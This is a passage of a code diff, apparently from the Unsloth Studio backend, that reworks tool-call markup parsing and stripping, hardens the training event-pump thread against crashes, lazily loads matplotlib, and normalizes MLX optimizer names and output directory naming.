+            arguments[pm.group(1)] = _trim_param_value(val)
+        else:
+            valid_params = True
+            for pidx, pm in enumerate(param_starts):
+                param_name = pm.group(1)
+                val_start = pm.end()
+                next_param = (
+                    param_starts[pidx + 1].start() if pidx + 1 < len(param_starts) else len(body)
+                )
+                val = body[val_start:next_param]
+                if not allow_incomplete:
+                    stripped_val = val.rstrip()
+                    if not stripped_val.endswith(_PARAM_CLOSE_TAG):
+                        valid_params = False
+                        break
+                    val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
+                else:
+                    val = _TC_PARAM_CLOSE_RE.sub("", val)
+                arguments[param_name] = _trim_param_value(val)
+            if not valid_params:
+                continue
 
-            tc = {
-                "id": f"call_{len(tool_calls)}",
+        span_start = fm.start()
+        wrap_open = re.search(r"<tool_call>\s*$", content[:span_start])
+        wrap_close = re.match(r"\s*</tool_call>", content[span_end:])
+        if wrap_open and wrap_close:
+            span_start = wrap_open.start()
+            span_end += wrap_close.end()
+        parsed_items.append((span_start, span_end, func_name, json.dumps(arguments)))
+
+    parsed_items.sort(key = lambda item: item[0])
+    for start, span_end, name, arguments in parsed_items:
+        tool_calls.append(
+            {
+                "id": f"call_{id_offset + len(tool_calls)}",
                 "type": "function",
-                "function": {
-                    "name": func_name,
-                    "arguments": json.dumps(arguments),
-                },
+                "function": {"name": name, "arguments": arguments},
             }
-            tool_calls.append(tc)
+        )
+        call_spans.append((start, span_end))
+
+    # Patterns 3+4: Mistral [TOOL_CALLS] and bare rehearsal via one balanced scan in document
+    # order, so a Mistral call and a rehearsal in one message both parse.
+    if not tool_calls:
+        for start, end, kind, m in _iter_bracket_spans(
+            content, enabled_tool_names = enabled_tool_names
+        ):
+            if _in_think(start):
+                continue
+            # Extend the region over an immediately-following v11 closer so with_spans consumers strip it too.
+            closer = re.match(r"\s*\[/TOOL_CALLS\]", content[end:])
+            region_end = end + closer.end() if closer else end
+            if kind == "array":
+                # Decode elements individually (comma-tolerant): one json.loads of the whole
+                # body rejects the comma-less multi-call arrays Mistral/Ollama templates emit.
+                payload, item_ends = _decode_array_items(content, m.end(), end)
+                if not payload:
+                    continue
+                # Tile the region so every byte belongs to exactly one span; a with_spans consumer
+                # keeps skipped bytes visible and strips promoted markup exactly once.
+                tile_start = start
+                last_span_idx = -1
+                for item_idx, item in enumerate(payload):
+                    if not isinstance(item, dict) or "name" not in item:
+                        continue
+                    args = item.get("arguments", {})
+                    if isinstance(args, str):
+                        # ``arguments`` may itself be a JSON string (OpenAI spec).
+                        try:
+                            args = json.loads(args)
+                        except (json.JSONDecodeError, ValueError):
+                            pass
+                    if not isinstance(args, (dict, str)):
+                        # ``"arguments": null`` (or any non-object scalar) becomes {} like the
+                        # <tool_call> path, not the string "null" auto-heal would mangle to
+                        # a bogus {"query":"null"}.
+                        args = {}
+                    tool_calls.append(
+                        {
+                            "id": f"call_{id_offset + len(tool_calls)}",
+                            "type": "function",
+                            "function": {
+                                "name": item.get("name", ""),
+                                # A bare scalar string stays raw (like the <tool_call> path);
+                                # json.dumps would double-encode it so the arg healer wraps
+                                # "weather" with its literal quotes.
+                                "arguments": args if isinstance(args, str) else json.dumps(args),
+                            },
+                        }
+                    )
+                    item_end = item_ends[item_idx] if item_idx < len(item_ends) else region_end
+                    last_span_idx = len(call_spans)
+                    call_spans.append((tile_start, item_end))
+                    tile_start = item_end
+                if last_span_idx >= 0:
+                    tile_start, _tile_end = call_spans[last_span_idx]
+                    call_spans[last_span_idx] = (tile_start, region_end)
+            else:
+                try:
+                    payload = json.loads(content[m.end() : end])
+                except (json.JSONDecodeError, ValueError):
+                    continue
+                if not isinstance(payload, dict):
+                    continue
+                tool_calls.append(
+                    {
+                        "id": f"call_{id_offset + len(tool_calls)}",
+                        "type": "function",
+                        "function": {
+                            "name": m.group(1),
+                            "arguments": json.dumps(payload),
+                        },
+                    }
+                )
+                call_spans.append((start, region_end))
+
+    if with_spans:
+        return tool_calls, call_spans
     return tool_calls
 
 
-def strip_tool_call_markup(text: str, *, final: bool = False) -> str:
+def _strip_bracket_tag_calls(text: str, enabled_tool_names = None) -> str:
+    """Strip complete [TOOL_CALLS] arrays / name / bare name[ARGS]{..} calls with one
+    balanced forward scan, so nested JSON args are removed whole (a fixed-depth regex
+    left two-level args behind). Truncated tails go to the caller's catch-all. Linear.
+    ``enabled_tool_names`` gates the rehearsal form (inactive-name prose kept; None
+    strips every span)."""
+    if len(text) > _MAX_BRACKET_SCAN_CHARS:
+        return text
+    out: list[str] = []
+    cursor = 0
+    for start, end, _kind, _m in _iter_bracket_spans(text, enabled_tool_names = enabled_tool_names):
+        out.append(text[cursor:start])
+        cursor = end
+    out.append(text[cursor:])
+    return "".join(out)
+
+
+def _tool_call_markup_spans(text: str) -> list[tuple[int, int]]:
+    """Spans of tool-call markup, so a literal <think>/[THINK] inside a call's args is
+    stripped WITH the call, not kept as a reasoning block. Covers closed XML/bracket
+    calls and an unclosed XML call (run via allow_incomplete); without the open-ended
+    span the unclosed call's markup would leak after execution."""
+    # Skip a lazy closed-pair pattern whose close token is absent: its finditer would rescan
+    # to EOF from every opener (quadratic on a stream of unclosed openers).
+    spans = [
+        m.span()
+        for pat in _TOOL_CLOSED_PATS
+        if (_PAT_REQUIRED_TOKEN.get(pat) is None or _PAT_REQUIRED_TOKEN[pat] in text)
+        for m in pat.finditer(text)
+    ]
+    spans.extend((start, end) for start, end, _kind, _m in _iter_bracket_spans(text))
+    # An unclosed opener is a real incomplete call only outside closed/bracket spans.
+    for pat in _TOOL_OPEN_XML_TAIL_PATS:
+        for m in pat.finditer(text):
+            if not any(s <= m.start() < e for s, e in spans):
+                spans.append(m.span())
+    return spans
+
+
+def _think_spans_outside_tool_markup(text: str) -> list[tuple[int, int]]:
+    """<think>/[THINK] block spans, minus any whose opening marker sits INSIDE a
+    tool-call span (that tag is argument data, not reasoning). Keeping it would drop a
+    real call after it as rehearsed and leak the call's markup. START tested only, so
+    a greedy unclosed <think> past the call is still that call's argument data."""
+    think_spans = [m.span() for m in _THINK_TAG_RE.finditer(text)]
+    call_spans = _tool_call_markup_spans(text)
+    # Prefilled reasoning: the template opens <think> in the prompt, so add a leading span
+    # (0..close) to skip calls rehearsed there; guarded so a stray close in a normal answer is safe.
+    close = _THINK_CLOSE_RE.search(text)
+    if close is not None:
+        opener = _THINK_OPEN_RE.search(text)
+        if (
+            (opener is None or close.start() < opener.start())
+            and not any(cs <= close.start() < ce for cs, ce in call_spans)
+            and any(cs >= close.end() for cs, ce in call_spans)
+        ):
+            think_spans = [(0, close.end())] + think_spans
+    if not think_spans:
+        return think_spans
+    if not call_spans:
+        return think_spans
+    return [(s, e) for (s, e) in think_spans if not any(cs <= s < ce for cs, ce in call_spans)]
+
+
+def strip_outside_think(text: str, strip_segment) -> str:
+    """Apply ``strip_segment(segment, is_last)`` to visible text around <think>/[THINK]
+    blocks, preserving the blocks verbatim (tool-looking text inside is rehearsal).
+    ``is_last`` is True only after the final block, so trailing-tail patterns apply
+    only there. Shared by every strip path so they stay consistent."""
+    # A think marker opening inside a complete call is argument text; excluding it lets the
+    # stripper see the whole call. START-tested, so an unclosed match stays argument data.
+    think_spans = _think_spans_outside_tool_markup(text)
+    if not think_spans:
+        return strip_segment(text, True)
+    pieces: list[str] = []
+    prev = 0
+    for s, e in think_spans:
+        pieces.append(strip_segment(text[prev:s], False))
+        pieces.append(text[s:e])
+        prev = e
+    pieces.append(strip_segment(text[prev:], True))
+    return "".join(pieces)
+
+
+def _strip_gemma_native_spans(text: str, *, final: bool) -> str:
+    """Remove complete Gemma-native spans, brace/quote-balanced so a literal
+    ``<tool_call|>`` in a quoted argument cannot truncate the span. An incomplete
+    span is dropped to EOF when ``final``, else kept (still streaming)."""
+    out: list[str] = []
+    cursor = 0
+    for match in _TC_GEMMA_START_RE.finditer(text):
+        start = match.start()
+        if start < cursor:
+            continue
+        brace_end = _balanced_brace_end(text, match.end() - 1, gemma_quotes = True)
+        if brace_end < 0:
+            # Unbalanced: nothing completes from here on. Drop the rest if final,
+            # else keep it; stop either way (rescanning would be quadratic).
+            if final:
+                out.append(text[cursor:start])
+                cursor = len(text)
+            break
+        # Junk between } and <tool_call|> is malformed-call markup: strip through
+        # the close, keep text after it. No close anywhere means stop (linear).
+        close = _TC_GEMMA_END_TAG_RE.search(text, brace_end + 1)
+        if close is None:
+            if final:
+                out.append(text[cursor:start])
+                cursor = len(text)
+            break
+        out.append(text[cursor:start])
+        cursor = close.end()
+    out.append(text[cursor:])
+    return "".join(out)
+
+
+def _gemma_span_ranges(text: str) -> list:
+    """``(start, end)`` of each complete Gemma-native span; same walk as
+    ``_strip_gemma_native_spans`` without stripping."""
+    ranges: list[tuple] = []
+    cursor = 0
+    for match in _TC_GEMMA_START_RE.finditer(text):
+        start = match.start()
+        if start < cursor:
+            continue
+        brace_end = _balanced_brace_end(text, match.end() - 1, gemma_quotes = True)
+        if brace_end < 0:
+            break
+        close = _TC_GEMMA_END_TAG_RE.search(text, brace_end + 1)
+        if close is None:
+            break
+        ranges.append((start, close.end()))
+        cursor = close.end()
+    return ranges
+
+
+def _strip_closed_blocks_outside_gemma(text: str) -> str:
+    """Closed JSON/function pre-pass that skips matches starting inside a complete
+    Gemma span: deleting across the span boundary would mangle the Gemma close and
+    truncate the tail. A skipped match resumes at the covering span's end, so a
+    real function-XML call after the span is still stripped."""
+    ranges = _gemma_span_ranges(text)
+    if not ranges:
+        return strip_tool_patterns(text, _TOOL_CLOSED_BLOCK_PATS)
+    for pat in _TOOL_CLOSED_BLOCK_PATS:
+        token = _PAT_REQUIRED_TOKEN.get(pat)
+        if token is not None and token not in text:
+            continue
+        out: list[str] = []
+        pos = 0
+        while True:
+            m = pat.search(text, pos)
+            if m is None:
+                out.append(text[pos:])
+                break
+            covering = next((r for r in ranges if r[0] <= m.start() < r[1]), None)
+            if covering is not None:
+                out.append(text[pos : covering[1]])
+                pos = covering[1]
+                continue
+            out.append(text[pos : m.start()])
+            pos = m.end()
+        new_text = "".join(out)
+        if new_text != text:
+            text = new_text
+            ranges = _gemma_span_ranges(text)
+    return text
+
+
+def _strip_markup_segment(
+    text: str,
+    *,
+    final: bool,
+    enabled_tool_names = None,
+) -> str:
+    # Bracket-tag calls (Mistral/rehearsal) first via balanced scan (any nesting depth,
+    # rehearsal name-gated); then the quote-aware Gemma-native passes so a literal
+    # <tool_call|> in an argument cannot truncate a block; finally the regex XML/tail sweeps.
+    text = _strip_bracket_tag_calls(text, enabled_tool_names = enabled_tool_names)
+    text = _strip_closed_blocks_outside_gemma(text)
+    text = _strip_gemma_native_spans(text, final = final)
+    patterns = _TOOL_ALL_PATS if final else _TOOL_CLOSED_PATS
+    return apply_tool_strip_patterns(text, patterns, enabled_tool_names = enabled_tool_names)
+
+
+def strip_tool_call_markup(
+    text: str,
+    *,
+    final: bool = False,
+    enabled_tool_names = None,
+) -> str:
     """Strip tool-call XML markup from text.
 
     When ``final`` is False, only fully closed tool-call blocks are removed.
     When ``final`` is True, trailing incomplete tool-call blocks are removed
     too, and the result is stripped of surrounding whitespace.
+
+    ``<think>`` / ``[THINK]`` reasoning is preserved verbatim (see
+    ``strip_outside_think``); the trailing-tail patterns apply only after the
+    last block. ``enabled_tool_names`` keeps an inactive-name ``foo[ARGS]{..}``
+    example visible (it is prose, not a call) so display cleanup matches detection.
     """
-    patterns = _TOOL_ALL_PATS if final else _TOOL_CLOSED_PATS
-    for pat in patterns:
-        text = pat.sub("", text)
-    return text.strip() if final else text
+    result = strip_outside_think(
+        text,
+        lambda seg, is_last: _strip_markup_segment(
+            seg, final = final and is_last, enabled_tool_names = enabled_tool_names
+        ),
+    )
+    return result.strip() if final else result
diff --git a/studio/backend/core/training/trainer.py b/studio/backend/core/training/trainer.py
index a13a75a72e..20b2305a5a 100644
--- a/studio/backend/core/training/trainer.py
+++ b/studio/backend/core/training/trainer.py
@@ -3543,9 +3543,12 @@ class UnslothTrainer:
 
                     # ── Safety net: check if all samples were filtered out ──
                     # train_on_responses_only masks non-response tokens with -100;
-                    # if max_seq_length is too short the response is truncated away,
-                    # every sample becomes all -100, and Unsloth drops them, leaving
-                    # 0 usable samples. Skip this len()-based check for streaming.
+                    # a row becomes all -100 (and Unsloth drops it) when the response
+                    # template is not found in the formatted text. That is usually a
+                    # dataset/template mismatch (already-formatted data, or 'Train on
+                    # completions' applied to data that doesn't match the model's chat
+                    # template), and only sometimes max_seq_length truncating the
+                    # response away. Skip this len()-based check for streaming.
                     if detect_streaming_dataset(self.trainer.train_dataset):
                         logger.info("Skipping post-filter length check for streaming dataset\n")
                     else:
@@ -3560,13 +3563,18 @@ class UnslothTrainer:
                         if filtered_len == 0 or drop_pct > 30:
                             max_seq = training_args.get("max_seq_length", 2048)
                             error_msg = (
-                                f"{dropped}/{original_len} samples ({drop_pct}%) "
-                                f"were dropped after applying 'train on responses "
-                                f"only' — only {filtered_len} remain. This usually "
-                                f"means max_seq_length ({max_seq}) is too short "
-                                f"and the response portion is being truncated "
-                                f"away. Try increasing max_seq_length (e.g. 8192) "
-                                f"or disabling 'Train on completions'."
+                                f"{dropped}/{original_len} samples ({drop_pct}%) were "
+                                f"dropped after applying 'Train on completions': after "
+                                f"masking, those rows had no trainable response tokens "
+                                f"left. The usual cause is that this model's response "
+                                f"template was not found in the formatted samples, so "
+                                f"every token was masked out. That typically means the "
+                                f"dataset is already formatted, or its structure does "
+                                f"not match the model's chat template, so 'Train on "
+                                f"completions' should be turned off for this dataset. "
+                                f"Less commonly, a max_seq_length ({max_seq}) shorter "
+                                f"than the prompt can truncate the response away; only "
+                                f"raise it if your samples are actually longer than that."
                             )
                             logger.error(error_msg)
                             self._update_progress(error = error_msg, is_training = False)
@@ -3664,7 +3672,7 @@ class UnslothTrainer:
             return
 
         try:
-            with open(config_path, "r") as f:
+            with open(config_path, "r", encoding = "utf-8") as f:
                 config = json.load(f)
 
             # Determine training method
@@ -3678,7 +3686,7 @@ class UnslothTrainer:
             config["unsloth_training_method"] = method
             logger.info(f"Patching adapter_config.json with unsloth_training_method='{method}'")
 
-            with open(config_path, "w") as f:
+            with open(config_path, "w", encoding = "utf-8") as f:
                 json.dump(config, f, indent = 2)
 
         except Exception as e:
diff --git a/studio/backend/core/training/training.py b/studio/backend/core/training/training.py
index 34bb4331a7..f4233fcf04 100644
--- a/studio/backend/core/training/training.py
+++ b/studio/backend/core/training/training.py
@@ -24,9 +24,10 @@ from datetime import datetime, timezone
 from loggers import get_logger
 from dataclasses import dataclass, field
 from pathlib import Path
-from typing import Optional, Tuple, Any
+from typing import Optional, Tuple, Any, TYPE_CHECKING
 
-import matplotlib.pyplot as plt
+if TYPE_CHECKING:
+    import matplotlib.pyplot as plt
 from utils.hardware import prepare_gpu_selection
 from utils.native_path_leases import (
     native_path_secret_removed_for_child_start,
@@ -36,6 +37,30 @@ from utils.paths import outputs_root
 
 logger = get_logger(__name__)
 
+_pyplot = None
+_pyplot_failed = False
+
+
+def _load_pyplot():
+    """Lazily import matplotlib.pyplot (headless Agg); return it, or None if
+    matplotlib is unavailable. Deferred so a blocked native wheel (e.g. Windows
+    Smart App Control) never breaks server startup, only loss plotting.
+    """
+    global _pyplot, _pyplot_failed
+    if _pyplot is not None or _pyplot_failed:
+        return _pyplot
+    try:
+        import matplotlib
+
+        matplotlib.use("Agg")  # headless backend
+        import matplotlib.pyplot as plt
+
+        _pyplot = plt
+    except Exception as e:
+        _pyplot_failed = True
+        logger.warning("matplotlib unavailable; loss plots disabled", error = str(e))
+    return _pyplot
+
 
 def _coerce_seed(value, default = 3407) -> int:
     """Normalize None / non-int to `default` (transformers.set_seed(None) raises)."""
@@ -191,6 +216,9 @@ class TrainingBackend:
         self._event_queue: Any = None
         self._stop_queue: Any = None
         self._pump_thread: Optional[threading.Thread] = None
+        # True while a pump thread should be running; cleared on intended exits.
+        # Left True after an abnormal death so _ensure_pump_alive spots a crash.
+        self._pump_running: bool = False
         self._lock = threading.Lock()
 
         # Progress state (updated by pump thread from subprocess events)
@@ -264,10 +292,14 @@ class TrainingBackend:
                 logger.warning("Previous pump thread did not exit within 5s — refusing to start")
                 return False
         self._pump_thread = None
+        # Clear a stale crash flag from a prior died pump so the watchdog can't
+        # treat this fresh setup as a recoverable death.
+        self._pump_running = False
 
         # Build config dict for the subprocess
         config = {
             "model_name": kwargs["model_name"],
+            "project_name": kwargs.get("project_name"),
             "training_type": kwargs.get("training_type", "LoRA/QLoRA"),
             "hf_token": kwargs.get("hf_token", ""),
             "load_in_4bit": kwargs.get("load_in_4bit", True),
@@ -447,16 +479,21 @@ class TrainingBackend:
         self._xet_fallback_used = False
         self._needs_xet_respawn = False
 
-        # Assign subprocess handles after state reset.
-        self._event_queue = event_queue
-        self._stop_queue = stop_queue
-        self._proc = proc
-
-        # Eagerly create DB run row so it appears in history during model loading.
+        # Create the DB run row before the pump can consume events, so it appears
+        # in history during model loading and a fast terminal worker can't race the
+        # pump into a duplicate create/finalize. From here the pump only finalizes.
         self._ensure_db_run_created()
 
-        self._pump_thread = threading.Thread(target = self._pump_loop, daemon = True)
-        self._pump_thread.start()
+        # Assign handles and start the pump together under the lock so a concurrent
+        # poll can't see a live _proc with no pump and spawn a duplicate.
+        new_pump = threading.Thread(target = self._pump_loop, daemon = True)
+        with self._lock:
+            self._pump_running = False
+            self._event_queue = event_queue
+            self._stop_queue = stop_queue
+            self._proc = proc
+            self._pump_thread = new_pump
+            new_pump.start()
 
         return True
 
@@ -581,6 +618,9 @@ class TrainingBackend:
         except Exception:
             logger.error("Failed to respawn training subprocess", exc_info = True)
             with self._lock:
+                # No replacement pump will run; clear the flag so a later run can't
+                # inherit a stale _pump_running=True and spawn a duplicate.
+                self._pump_running = False
                 self._progress.is_training = False
                 self._progress.error = "Failed to recover stalled model download"
             self._ensure_db_run_created()
@@ -598,10 +638,44 @@ class TrainingBackend:
             self._stop_queue = stop_queue
             self._proc = new_proc
             self._pump_thread = new_pump
-        new_pump.start()
+            # Start under the lock so _ensure_pump_alive can never observe the
+            # new pump as a not-yet-started (dead) thread and spawn a duplicate.
+            new_pump.start()
+
+    def _ensure_pump_alive(self) -> bool:
+        """Restart the event pump if it crashed, even after the worker exited.
+
+        Defence in depth behind _pump_loop's guards. _pump_running stays True only
+        after an abnormal exit (the loop clears it on intended exits), so a True
+        flag plus a dead thread is an unambiguous crash. Restarts even after worker
+        exit so a fresh pump can drain the terminal events and finalize; otherwise
+        the run looks stuck "running" forever. Returns True if restarted.
+        """
+        with self._lock:
+            if not self._pump_running:
+                return False
+            # A restarted pump needs the worker handle and queue to drain/finalize;
+            # their absence means nothing is left to recover.
+            if self._proc is None or self._event_queue is None:
+                return False
+            if self._pump_thread is not None and self._pump_thread.is_alive():
+                return False
+            logger.error(
+                "Training event pump thread died while the worker is still running; "
+                "restarting it so progress updates resume."
+            )
+            new_pump = threading.Thread(target = self._pump_loop, daemon = True)
+            self._pump_thread = new_pump
+            # Start under the lock so a concurrent _ensure_pump_alive can't see
+            # this thread as not-yet-started and spawn yet another pump.
+            new_pump.start()
+        return True
 
     def is_training_active(self) -> bool:
         """Check if training is currently active."""
+        # Self-heal a crashed pump first: a dead pump must never leave the worker
+        # training invisibly behind a frozen UI. Cheap enough for per-second polls.
+        self._ensure_pump_alive()
         with self._lock:
             if self._proc is not None and self._proc.is_alive():
                 return True
@@ -655,7 +729,7 @@ class TrainingBackend:
         plot = self._create_loss_plot(progress, theme)
         return (plot, progress)
 
-    def refresh_plot_for_theme(self, theme: str) -> Optional[plt.Figure]:
+    def refresh_plot_for_theme(self, theme: str) -> "Optional[plt.Figure]":
         """Refresh plot with new theme."""
         if theme and isinstance(theme, str) and theme in ["light", "dark"]:
             self.current_theme = theme
@@ -702,51 +776,87 @@ class TrainingBackend:
     # Event pump (background thread)
     # ------------------------------------------------------------------
 
+    def _safe_handle_event(self, event: dict) -> None:
+        """Apply one event, swallowing any handler error.
+
+        The pump is the only writer of the progress state every status surface
+        reads, so a malformed event must never propagate and kill it.
+        """
+        try:
+            self._handle_event(event)
+        except Exception:
+            etype = event.get("type") if isinstance(event, dict) else type(event).__name__
+            logger.exception("Training event pump: failed to handle %s event; skipping", etype)
+
     def _pump_loop(self) -> None:
-        """Background thread: consume events from subprocess → update state."""
+        """Background thread: consume subprocess events and update state.
+
+        Sole writer of the in-memory progress state that /progress, /status,
+        /metrics and DB history read. If it exited while the worker still ran, the
+        run would burn GPU with events piling up while every surface froze. So no
+        single bad event or transient queue/DB error may end it; it returns only
+        through intended exits (worker gone, respawn handed off, finalized).
+        """
+        self._pump_running = True
         while True:
             if self._proc is None or self._event_queue is None:
+                self._pump_running = False
                 return
 
-            event = self._read_queue(self._event_queue, timeout_sec = 0.25)
+            try:
+                event = self._read_queue(self._event_queue, timeout_sec = 0.25)
+            except Exception:
+                # If a read keeps raising after the worker died, fall through to
+                # finalize instead of spinning; only retry while the worker lives.
+                logger.exception("Training event pump: queue read failed; continuing")
+                if self._proc is not None and self._proc.is_alive():
+                    time.sleep(0.1)
+                    continue
+                event = None
+
             if event is not None:
-                self._handle_event(event)
+                self._safe_handle_event(event)
                 continue
 
             if self._proc.is_alive():
                 continue
 
-            # Process exited — drain remaining events.
-            for e in self._drain_queue(self._event_queue):
-                self._handle_event(e)
+            # Worker exited. Drain the backlog and finalize, guarded so a slow or
+            # failing DB write can't strand the thread; we return either way.
+            try:
+                for e in self._drain_queue(self._event_queue):
+                    self._safe_handle_event(e)
 
-            # Model-load stall: respawn over HTTP instead of finalizing as failure.
-            # Runs on THIS exiting pump thread and starts a fresh pump (never joins
-            # the current thread); DB run-state is preserved.
-            if self._needs_xet_respawn:
-                self._needs_xet_respawn = False
-                self._respawn_worker_disable_xet()
-                return
+                # Model-load stall: respawn over HTTP instead of finalizing as failure.
+                # Starts a fresh pump on this thread (no self-join); it takes over
+                # _pump_running, so this exit leaves the flag set.
+                if self._needs_xet_respawn:
+                    self._needs_xet_respawn = False
+                    self._respawn_worker_disable_xet()
+                    return
 
-            # Mark done if no explicit complete/error was received.
-            with self._lock:
-                if self._progress.is_training:
-                    if self._should_stop:
-                        self._progress.is_training = False
-                        self._progress.status_message = "Training stopped."
-                    else:
-                        self._progress.is_training = False
-                        self._progress.error = (
-                            self._progress.error or "Training process exited unexpectedly"
-                        )
+                # Mark done if no explicit complete/error was received.
+                with self._lock:
+                    if self._progress.is_training:
+                        if self._should_stop:
+                            self._progress.is_training = False
+                            self._progress.status_message = "Training stopped."
+                        else:
+                            self._progress.is_training = False
+                            self._progress.error = (
+                                self._progress.error or "Training process exited unexpectedly"
+                            )
 
-            self._ensure_db_run_created()
-            self._finalize_run_in_db(
-                status = "stopped" if self._should_stop else "error",
-                error_message = None
-                if self._should_stop
-                else "Training process terminated unexpectedly",
-            )
+                self._ensure_db_run_created()
+                self._finalize_run_in_db(
+                    status = "stopped" if self._should_stop else "error",
+                    error_message = None
+                    if self._should_stop
+                    else "Training process terminated unexpectedly",
+                )
+            except Exception:
+                logger.exception("Training event pump: finalization after worker exit failed")
+            self._pump_running = False
             return
 
     def _handle_event(self, event: dict) -> None:
@@ -1069,6 +1179,8 @@ class TrainingBackend:
         except queue.Empty:
             return None
         except (EOFError, OSError, ValueError):
+            # A closed/broken queue reads as "no event"; any other error is left to
+            # _pump_loop's guarded block, which logs and backs off.
             return None
 
     @staticmethod
@@ -1079,7 +1191,12 @@ class TrainingBackend:
                 events.append(q.get_nowait())
             except queue.Empty:
                 return events
-            except (EOFError, OSError, ValueError):
+            except Exception:
+                # A drain error must not abort finalization: return what we have so
+                # the run finalizes rather than wedging "active" behind a dead worker.
+                logger.exception(
+                    "Training event pump: queue drain failed; finalizing with drained events"
+                )
                 return events
 
     # ------------------------------------------------------------------
@@ -1090,8 +1207,14 @@ class TrainingBackend:
         self,
         progress: TrainingProgress,
         theme: str = "light",
-    ) -> plt.Figure:
-        """Create training loss plot with theme-aware styling."""
+    ) -> "Optional[plt.Figure]":
+        """Create training loss plot with theme-aware styling.
+
+        matplotlib is loaded lazily; returns None if it is unavailable.
+        """
+        plt = _load_pyplot()
+        if plt is None:
+            return None
         plt.close("all")
 
         LIGHT_STYLE = {
diff --git a/studio/backend/core/training/worker.py b/studio/backend/core/training/worker.py
index 3f020c8abc..17dc1299ca 100644
--- a/studio/backend/core/training/worker.py
+++ b/studio/backend/core/training/worker.py
@@ -44,6 +44,7 @@ if sys.platform.startswith("linux") and "HSA_ENABLE_DXG_DETECTION" not in os.env
 
 logger = get_logger(__name__)
 from utils.hardware import apply_gpu_ids
+from utils.training_runs import build_default_output_dir_name
 from utils.wheel_utils import (
     direct_wheel_url,
     flash_attn_wheel_url,
@@ -1252,32 +1253,48 @@ def _adapt_for_mlx_vlm(
     return adapted
 
 
-_MLX_STUDIO_OPTIM_MAP = {
-    "adamw_8bit": "adamw",
-    "paged_adamw_8bit": "adamw",
-    "adamw_bnb_8bit": "adamw",
-    "paged_adamw_32bit": "adamw",
-    "adamw_torch": "adamw",
-    "adamw_torch_fused": "adamw",
-    "adamw": "adamw",
-    "adafactor": "adafactor",
-    "sgd": "sgd",
-    "adam": "adam",
-    "muon": "muon",
-    "lion": "lion",
-}
 _MLX_STUDIO_LR_SCHEDULERS = {"linear", "cosine", "constant"}
 
 
+# Fallback alias map mirroring unsloth_zoo._normalize_mlx_optimizer_name, used
+# only when mlx (Apple Silicon) is not importable so Studio config validation
+# still works on non-MLX hosts. The zoo function stays the source of truth.
+_MLX_STUDIO_ADAMW_ALIASES = frozenset(
+    (
+        "adamw_8bit",
+        "paged_adamw_8bit",
+        "adamw_bnb_8bit",
+        "paged_adamw_32bit",
+        "adamw_torch",
+        "adamw_torch_fused",
+        "paged_adamw",
+        "adamw_32bit",
+        "adamw_hf",
+        "adamw_anyprecision",
+        "adamw_apex_fused",
+    )
+)
+_MLX_STUDIO_NATIVE_OPTIMIZERS = ("adafactor", "adamw", "adam", "sgd", "muon", "lion")
+
+
 def _normalize_mlx_studio_optimizer(value):
-    raw = str(value or "adamw_8bit").strip().lower()
     try:
-        return _MLX_STUDIO_OPTIM_MAP[raw]
-    except KeyError:
-        supported = ", ".join(sorted(_MLX_STUDIO_OPTIM_MAP))
-        raise ValueError(
-            f"Unsupported optimizer for MLX training: {value!r}. " f"Supported values: {supported}."
-        )
+        from unsloth_zoo.mlx.trainer import _normalize_mlx_optimizer_name
+        return _normalize_mlx_optimizer_name(value or "adamw_8bit")
+    except (ImportError, ValueError):
+        # Missing mlx, or an older unsloth-zoo whose normalizer lacks CUDA/TRL
+        # aliases: map common adamw_* names locally so notebook defaults work.
+        opt = str(getattr(value, "value", value) or "adamw_8bit").strip().lower()
+        opt = opt.rsplit(".", 1)[-1].replace("-", "_")
+        if opt in _MLX_STUDIO_ADAMW_ALIASES:
+            opt = "adamw"
+        if opt not in _MLX_STUDIO_NATIVE_OPTIMIZERS:
+            supported = ", ".join(_MLX_STUDIO_NATIVE_OPTIMIZERS)
+            raise ValueError(
+                f"Unsupported optimizer for MLX training: {value!r}. "
+                f"Supported optimizers: {supported}."
+            )
+        return opt
 
 
 def _normalize_mlx_studio_scheduler(value):
@@ -1787,11 +1804,14 @@ def _run_mlx_training(event_queue, stop_queue, config):
 
     # ── 5. Build output dir ──
     # Resolve to ~/.unsloth/studio/outputs/ so the export page finds it
-    from utils.paths import resolve_output_dir, ensure_dir, default_run_dir_name
+    from utils.paths import resolve_output_dir, ensure_dir
 
     output_dir = config.get("output_dir", "")
     if not output_dir:
-        output_dir = f"{default_run_dir_name(model_name)}_{int(time.time())}"
+        output_dir = build_default_output_dir_name(
+            model_name,
+            config.get("project_name"),
+        )
     output_dir = str(resolve_output_dir(output_dir))
     ensure_dir(Path(output_dir))
 
@@ -3019,7 +3039,10 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
             resume_from_checkpoint
         )
         if not output_dir:
-            output_dir = f"{default_run_dir_name(model_name)}_{int(time.time())}"
+            output_dir = build_default_output_dir_name(
+                model_name,
+                config.get("project_name"),
+            )
         output_dir = str(resolve_output_dir(output_dir))
         ensure_dir(Path(output_dir))
 
@@ -3500,7 +3523,10 @@ def _run_embedding_training(event_queue: Any, stop_queue: Any, config: dict) ->
         resume_from_checkpoint
     )
     if not output_dir:
-        output_dir = f"{default_run_dir_name(model_name)}_{int(time.time())}"
+        output_dir = build_default_output_dir_name(
+            model_name,
+            config.get("project_name"),
+        )
     output_dir = str(resolve_output_dir(output_dir))
 
     num_epochs = config.get("num_epochs", 2)
diff --git a/studio/backend/hub/schemas/inventory.py b/studio/backend/hub/schemas/inventory.py
index 44ff545e76..ef95efe2f2 100644
--- a/studio/backend/hub/schemas/inventory.py
+++ b/studio/backend/hub/schemas/inventory.py
@@ -27,6 +27,9 @@ class GgufVariantDetail(BaseModel):
     downloaded: bool = Field(
         False, description = "Whether this variant is already in the local HF cache"
     )
+    update_available: bool = Field(
+        False, description = "Whether a newer main GGUF blob is available on Hugging Face"
+    )
     partial: bool = Field(
         False,
         description = "Whether this variant has an in-progress (.incomplete) blob in cache",
diff --git a/studio/backend/hub/services/download_lifecycle.py b/studio/backend/hub/services/download_lifecycle.py
index c2b99c0f18..44c39337fb 100644
--- a/studio/backend/hub/services/download_lifecycle.py
+++ b/studio/backend/hub/services/download_lifecycle.py
@@ -314,25 +314,50 @@ def register_worker(
     worker_token = hf_token
 
     def _watch() -> None:
-        finalize_worker_exit(
-            registry,
-            key,
-            proc,
-            hf_token = worker_token,
-            label = label,
-            log_prefix = log_prefix,
-            logger = logger,
-            repo_type = repo_type,
-            repo_id = repo_id,
-            transport = transport,
-        )
-        if registry.get_job(key).state in ("error", "cancelled"):
-            download_registry.purge_empty_marker_dir(
-                repo_type,
-                repo_id,
